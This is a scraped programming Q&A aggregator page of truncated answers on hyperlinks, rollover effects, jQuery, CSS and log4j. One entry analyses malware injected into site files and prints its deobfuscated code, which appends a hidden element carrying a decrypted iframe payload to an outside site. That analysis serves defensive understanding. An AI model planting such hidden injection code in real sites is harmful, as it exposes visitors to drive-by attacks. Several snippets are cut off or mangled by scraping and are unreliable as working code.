w3hello.com logo
Home PHP C# C++ Android Java Javascript Python IOS SQL HTML videos Categories
add link to rollover script
You were doing it right, instead of "ref" you need to use "href" http://jsfiddle.net/jonigiuro/26B3h/3/ <a href="http://www.google.com" target="_blank"><div class="fbook-hover social-slide"></div></a>

Categories : CSS

How to convert url to hyperlink using this script?
try this: <!-- jquery and linkify includes here --> <script> $( function() { var body = $('body'); body.html( linkify( body.html() ) ); } ) </script> <body> ...

Categories : Javascript

Hyperlink not working in Google Script
var url = "https://docs.google.com/a/1234/sharing/.."; " For the sake of improving our service, please complete the feedback form <a href="+url+">here </a>"); You have to make sure the HTML you include is actually apart of the message, not outside of it. I would also put the entire message in a message variable so the MailApp is rather clean. You also need to add a special attachment to make the html work. An example would be this: MailApp.sendEmail(email,subject,message,{htmlBody:message});

Categories : Javascript

(Help) How To: Insert a HyperLink depending on how many characters have cell Using Google Script
Your script can be tweaked for better performance, by making use of the event data delivered to it instead of resorting to Service calls. You have done the right thing by testing for bail-out conditions early, but even those can be reordered to increase the chance of exiting early. function onEdit(e) { var activeCell = e.range; var activeCellValue = e.value; if (!e.value) return; // do nothing if value is 'undefined' var column = activeCell.getColumn(); var colNums = [1]; //Columns, whose edit is considered if(colNums.indexOf(column) == -1) return; //If column other than considered then return var row = activeCell.getRow(); if(row < 2) return; //If header row then return var length = String(activeCellValue).length; if(length == 12) { activeCell.set

Categories : Google Apps Script

How do I add a second hyperlink to an anchor that is already occupied by JavaScript code?
You need to stack it in the inline code: <a href="javascript:document.location.hash='#videoTop';ajaxpage('videos-maintenance/appliances-repair_fridge_gasket.php', 'contentarea');">

Categories : Javascript

Excel 2010 VBA code to follow dynamic hyperlink
To follow a Hyperlink and open it in a new window (True): Range("A8").Hyperlinks(1).Follow (True) It should open in the appropriate application. Hyperlink.Follow If if is not configured to open in the appropriate application, then you might read the link-address from the cell and investigate using Shell to start, for example, Paint: Shell "MSPaint ""F:Documents and SettingsstudentMy DocumentsMy Pictureslog1.png"""

Categories : Excel

Getting a hyperlink field/column to display data as a hyperlink from a SharePoint List, using JavaScript and jQuery
Not sure i understand the problem, but, Did you try this: tdHtml = tdHtml + '<td style="width:40px;"><a href="'+($(this).attr("ows_Edit_x0020_Link")).split(", ")[1]+'">'+ ($(this).attr("ows_Edit_x0020_Link")).split(", ")[1] +'</a></td>'; Khalil.

Categories : Javascript

Navigate URL for Hyperlink is changeed, when the Title set to hyperlink has "/" inbetween?
try this Text='<%# Server.HtmlEncode(DataBinder.Eval(Container.DataItem,"Title")) %>' Update: how about setting the text not by attribute? <asp:HyperLink ID="hypSubSections" runat="server"><%# Server.HtmlEncode(DataBinder.Eval(Container.DataItem,"Title")) %></asp:HyperLink>

Categories : Asp Net

Opening workbooks via hyperlink and then using Hyperlink name as workbook reference
If you Debug.Print your VbaName it actually holds the value of B7 but the active window ( the followed one from hyperlink ). If you want to get the name of the workbook from the hyperlink, youre working in, then use this code Sub GetWorkbookName() MsgBox "the name of the workbook in the hyperlink is: " & vbCrLf & _ getWorkbookName(Range("B7").Text) End Sub Private Function getWorkbookName(hyperLink As String) As String Dim i& For i = 1 To Len(hyperLink) If StrComp(Left(Right(hyperLink, i), 1), "", vbTextCompare) = 0 Then getWorkbookName = Right(hyperLink, i - 1) Exit For End If Next i End Function On the other hand, I think you are trying to open the workbook from the hyperlink and assign a reference to it

Categories : Vba

Javascript - Div Box as a HyperLink + Nested Text HyperLink - Possible?
You should remove the A from around the inner DIV, give it a bigger z-index than the outer, and handle the inner click event with calling event.stopPropagation to prevent bubbling of the event to the outer div. Here is a fiddle to solve the task. Sample for the inner handler: $('.content-link-page-b').click(function(e){ alert("page-b.html"); e.stopPropagation(); }); EDIT: In my comment above, I mentioned e.preventDefault() call. I didn't mean that, because that means the native DOM element's handler will be prevented, and not the jQuery event bubbling.

Categories : Javascript

Text following jquery hyperlink is converted to hyperlink
You have a javascript error there...why are you doing a replace for newlines? event_contents.replace(/ /g, + "</a>") should be event_contents.replace(/ /g, "</a>") I don't think that's what you want. If you want to just get rid of the newlines, change it to this: event_contents.replace(/ /g, "") + "</a>";

Categories : Jquery

Create Hyperlink, add to body and then Add string beside Hyperlink
var link = $('<a>Dashboard</a>') .appendTo($('body')); $('<label>&nbsp;&gt;&gt; Category</label>').insertAfter(link); But as David Thomas points out, label is probably not the best tag to use for this. Try <span> instead. var link = $('<a>Dashboard</a>') .appendTo($('body')); $('<span>&nbsp;&gt;&gt; Category</span>').insertAfter(link);

Categories : Javascript

Code First Migrations - Update-database -script command generated SQL script not working
The -Verbose output just shows a summary of statements. If you run your command manually in SQL Server Management Studio then you need a GO between the two statements: ALTER TABLE [dbo].[Posts] ADD [Abstract] [nvarchar](max) GO UPDATE dbo.Posts SET Abstract = LEFT(Content, 100) WHERE Abstract IS NULL The quick fix is to do something like: update-database -script then use Sql Server management Studio to do the following search and replace in the generated script: find what: ^{:b*}{{INSERT|UPDATE|SELECT|DELETE}.+} (this finds any CRUD statements) replace with: 1GO 12 (keep the indents, and add GO before any CRUD statements) Find options: Use regular expressions But, note that -Verbose doesn't give you the output you want, you need the output from -Script, or you will be missing the

Categories : Entity Framework

malware code insert script to my .js .php and include file. help me to decode script
If you crawl through the code and methodically replace the junk identifier names, it makes a lot more sense. Most of the code and identifiers are just there to obscure, and a lot of the rest of it just looks like boilerplate code for browser-compatible ways to do things like attach events. It also makes a pretty big deal of checking that you're on Windows, for some reason, but that doesn't change the payload that's eventually delivered. The piece that deploys the payload to the page is here: var newElement = window[_document][_createElement](_div); newElement[_innerHTML] = decodeString(key, payload); newElement[_style][_display] = _none; window[_document][_body][_appendChild](newElement); The payload decrypts as: <iframe src='http://teenee.&lt;OBFUSCATED&gt

Categories : Misc

How to capture the exit code of a shell script in a perl script?
You can check the exit code of another process with the child error variable $?. For example: system("perl foo.pl"); my $exit_val = $? >> 8; # now contains the exit value of the perl script Read the documentation for more info.

Categories : Perl

How to get the return code from a batch/shell script that launched from C++ code
in linux just use int ret=system("myshellscrtipt.sh"); since the return value of the script is the return value of the system function. In Windows I'dont't know wether there is a similar function. If you used the Qt toolkit you could do something like this QProcess process; process.start( "yourShellCommand", QStringList( args ); and this would be really cross-platform..

Categories : C++

Log file rollover
I think you should use logrotate command instead or building a custom script. Have a read to this guide A sample configuration for your requirements would be like this: /var/log/logfile { missingok size 20M rotate 5 }

Categories : Shell

Javascript rollover
I modified your selectRowEffect function in order to fix your logic problem As you can see, you only need to check if the selected row is even or not and revert its class to what i should be (unselect it). And then, you can change the clicked row's class to the corresponding selected one. Note that i used the ? : ternary operator which basically tests for the condition before the ? and if it is true returns the part between ? and : otherwise it returns the part after the :. The returned value is then affected to the object's className. Here is the fiddle to quickly see it in action. function selectRowEffect(object, buttonSelect) { if (!selected) { if (document.getElementById) { selected = document.getElementById('defaultSelected'); } else { s

Categories : Javascript

Rollover not working
You could just use CSS hover. Javascript isn't really required: #facebook{ width:100px; height:100px; background-image:url('image1.jpg'); } #facebook:hover{ background-image:url('image2.jpg'); } Your HTML: <div id="facebook">Text here</div> Working example: http://jsfiddle.net/NRFQ5/

Categories : Javascript

CSS overlay on rollOver
I'd try to do it CSS only: Make the info image twice as wide as the artist and the left 50% transparant. Hide the info image under a div on the right with higher z-index. CSS: img.info:hover { margin-left: -100px; transition: 1s; }

Categories : Jquery

Javascript rollover button
Here's the JSfiddle The basic HTML is <div id="box"> <a href='#'> <div class="col_inside"> <span class="span-inside">Button</span> </div> </a> </div> There is a box containing a linked div. This div becomes the button because it is wrapped within the tag. The CSS #box { width: 600px; height: 240px; background: black; position: relative; } .col_inside { position: absolute; bottom: 0; width: 600px; height: 60px; transition: height 0.5s linear; background: #0096de; text-align: center; } .col_inside .span-inside:last-child { display: none; } .col_inside:hover { height: 90px; } .col_inside:hover span:first-child { display: none; } .col_inside:

Categories : Javascript

Hover Rollover Situation
From what it sounds like, you just need to give the same class name to each item and then implement the hover behavior once. That's all it really takes. So give class="cmaxx_rollover" to each product and keep your CSS as is and it'll work on all of them.

Categories : CSS

Jquery rollover but not the same child?
$(document).ready(function () { $(".mainmenu").mouseenter(function () { $(".submenu").stop(true, true).slideToggle(); // console.log('slide down'); }).mouseleave(function (e) { if (e.relatedTarget.className != "submenu") $(".submenu").stop(true, true).slideToggle(); // console.log('slide up'); }); $(".submenu").mouseleave(function (e) { $(".submenu").stop(true, true).slideToggle(); // console.log('slide up'); }); }); http://jsfiddle.net/3bLbJ/1/

Categories : Javascript

How to show a div behind navigation on rollover
Is this what are you looking for http://jsfiddle.net/rMCMt/ ? You can use first-child and nth-child selectors: http://jsfiddle.net/Qq9Nm/ As menu items have different widths, you have to adjust the padding and the margin individually. The CSS code, below: li { box-shadow: 4px 4px 2px grey; margin: 10px; list-style-type: none; float: left; } li:first-child:hover, li:nth-child(2):hover, li:nth-child(3):hover, li:nth-child(4):hover, li:nth-child(5):hover { background-size: 200px 200px; background-repeat: no-repeat; padding-bottom: 180px; margin-bottom: -170px; } li:first-child:hover { background-image: url('http://goo.gl/RqQtl'); padding-right: 145px; margin-right: -135px; } li:nth-child(2):hover { background-image: url('http://goo.gl/TWI0t'

Categories : CSS

Label Markers on rollover
The "title" of the marker is what is displayed on mouseover. It is being set by this code: addMarker({ position: markers[i]['position'], title: "Marker "+i, info: markers[i]['info'] }); Change the "Marker "+i to be the text you want displayed.

Categories : HTML

mouseout keep div showing until next rollover
One way would be is that you remove the onmouseout of all pop-up-triggers and you set a onmouseout=document.getElementById('ALL-THE-POP-UP-BOX').style.display = 'none'; to the div with the class="postcontent clearfix" like so: <div class="postcontent clearfix" onmouseout=document.getElementById('ALL-THE-POP-UP-BOX').style.display = 'none';> So when the mouse leaves the pop-up-triggers it wont hide the pop-up-box but if the mouse leaves the postcontent clearfix div it will hide all displayed pop-up-box. Note: you have to hide all pop-up-box on pop-up-trigger mouseover so that only the current pop-up-box will be displayed. Hope this helps.

Categories : Misc

log4j2 monthly log rollover
You may have found a bug. I would expect the filePattern of "logs/app-%d{yyyy-MM}.log.gz" to give you what you're looking for. To clarify my understanding of the problem: The initial log event immediately triggers a rollover (creating an archive file). Instead, it should collect log events into the log file and not roll over until the end/beginning of the month. Is that description correct? Is there any other issue in addition to this initial unnecessary rollover? Could I ask you to raise a JIRA ticket for this? https://issues.apache.org/jira/browse/LOG4J2

Categories : Java

Accessing group child for rollover in three.js
SHORT ANSWER : create one material per object instead of one material for all of them EXPLANATION : As WestLangley pointed out, I just needed to create a separate material for each child object instead of having them all share the same material, ie putting the material creation INSIDE the loop used to generate the objects so that every object gets its own material. This way, material is changed individually for each object.

Categories : Javascript

Rollover Fade In Throwing Errors
Two things: jQuery doesn't have a function called display In your fiddle, the .hovertext span is not a child of .pic, so $('.hovertext', $(this)), where $(this) is one of the images, won't select anything.

Categories : Javascript

Rollover one div to switch multiple div tags
This dummy code might be what you need. But I really recommend that you learn jQuery before you use this piece of code. $('.className').on('mouseenter', function () { $('.class').removeClass('oldClass').addClass('newClass'); $('#id').removeClass('oldClass1').addClass('newClass1'); }); $('.className').on('mouseleave', function () { $('.class').removeClass('newClass').addClass('oldClass'); $('#id').removeClass('newClass1').addClass('oldClass1'); });

Categories : Javascript

log4j. Rollover each hour, zip daily
You probably want to use a DailyRollingFileAppender. To roll them hourly, for example, you'd use a DatePattern of '.'yyyy-MM-dd-HH. For a log4j.properties file: log4j.appender.myAppender=org.apache.log4j.DailyRollingFileAppender log4j.appender.myAppender.DatePattern='.'yyyy-MM-dd-HH ... Or for your programmatic configuration: DailyRollingFileAppender appender = new DailyRollingFileAppender(); appender.setDatePattern("'.'yyyy-MM-dd-HH"); Logger root = Logger.getRootLogger(); root.addAppender(appender); Unfortunately, using a DailyRollingFileAppender means that you can't limit the file size - this could be problematic if you have tons of logs in the given rolled period. To compress take a look to: compress-log4j-files

Categories : Java

Removing rollover state on mobile?
make this css styling conditional when browsing from PC using Javascript code: if(!(/android|webos|iphone|ipad|ipod|blackberry/i.test(navigator.userAgent.toLowerCase()))){ $(".hoverimage").css({'position':'absolute','top':0,'left':0,'display':'none'}); $(".thumbnail:hover .hoverimage, .image:hover .hoverimage").css({'display':'block','cursor':'pointer'}); }

Categories : HTML

Adding rollover styles to slideshow
Check this : http://jsfiddle.net/codebombs/ukNmT/ I created a simple slide show with fading effect using jQuery. HTML Code <div id='items'> <div class='item first'>Item 1</div> <div class='item'>Item 2</div> <div class='item'>Item 3</div> <div class='item'>Item 4</div> <div class='item'>Item 5</div> </div> <ul id='controls'> <li id='prev'>Prev</li> <li id='play'>Play</li> <li id='pause'>Pause</li> <li id='next'>Next</li> </ul> CSS Code #items { position : relative; width : 400px; height : 200px; top : 20px; left : 20px; } .item { position : absolute; background-color : #eee; border : 1px

Categories : Javascript

jQuery and Background Gradient on rollover
I modified your jsfiddle, here: http://jsfiddle.net/PxCuw/ I can't test if it will work on safari, but I don't see how that was happening to begin with since it works in chrome. Basically, now it just toggles the hover class on and off. This is going to be easier to maintain/read/etc. It may even fix your issue with Safari (no promises there). HTML essentially just added the button class for shared properties between default and black <div class="default button" id="btnOne">TEST 1</div> <div class="default button" id="btnTwo">TEST 2</div> <div class="default button" id="btnThree">TEST 3</div> CSS added a class for button and black. button is for shared properties, and black is for when you hover .button { height: 30px; width: 80px;

Categories : Jquery

jQuery append: Dynamic rollover image
src ="@Url.Content("~/Content/images/buttons/icon-details-ns.png")" src is @Url.Content( Errors start here. You must escape your code properly using backslashes.

Categories : Jquery

CSS and HTML rollover and display active target
Unfortunately the div.items p a:hover {display: block} won't work because the .items div is set to display:none. Hidden items do not respond to :hover pseudo selectors. Also I don't think the HTML structure you have will allow hover to work the way you want to because there is no way to tell the target #item that it's activation link href="#item" is being hovered over. You can achieve the result using a list though: http://jsfiddle.net/Peteor/KcGCZ/ as this allows you to show a child element when a parent is hovered. .menu li:hover ul { display:block; }

Categories : HTML

Rollover Effect on Multiple Areas of an Image
You can do this fairly simply with image sprites, the same idea used in original video games. The best part is, you only have to use one image, which means the page will load beautifully and nothing other than some mathematical css is required - no javascript. It works in every browser old and new. This article from A List Apart explains the whole process: http://alistapart.com/article/sprites

Categories : Javascript

jQuery rollover - replace background image
You string concatenation is wrong $(function () { $('nav li ul').hide().removeClass('fallback'); $('nav li').hover(function () { $('this').css('background-image','url(images/arrow.png)'); $('ul', this).stop().slideToggle(200); }); });

Categories : Jquery

3x3 photo rollover cell spacing issue
You can add spacing to table cells using cellspacing and cellpadding, which you have defined in your css for .phototable. However, your .phototable is actually a div element not a table. In order to add spacing to your table cells, you should add the cellpadding rule to the required table element, like so: <table cellpadding="4px"> If you want to control this from CSS, take a look at the top reply on How to set cellpadding and cellspacing in CSS? Having said this, using tables for layouting anything that is not tabular data is considered bad practice, and the code will get more and more confusing to manage as you add stuff. Instead, you should use the css float property to position your items on the page. See example for your menu layout here http://jsfiddle.net/2PANV/ EDIT Why

Categories : CSS

jquery rollover mouse fade image
This will fade the element out, swap the images, and fade the element back in (animating the opacity will avoid issues with mouseleave being triggered when the element fades out) : $(document).ready(function(){ $("#first").on({ mouseenter: function() { $(this).animate({opacity: 0}, 400, function() { $(this).attr('src', 'images/dogySitter_c.png') .animate({opacity: 1}, 400); }); }, mouseleave: function() { $(this).animate({opacity: 0}, 400, function() { $(this).attr('src', 'images/dogySitter_s.png') .animate({opacity: 1}, 400); }); } }); }); For cross fading you'd need two elements

Categories : Jquery



© Copyright 2017 w3hello.com Publishing Limited. All rights reserved.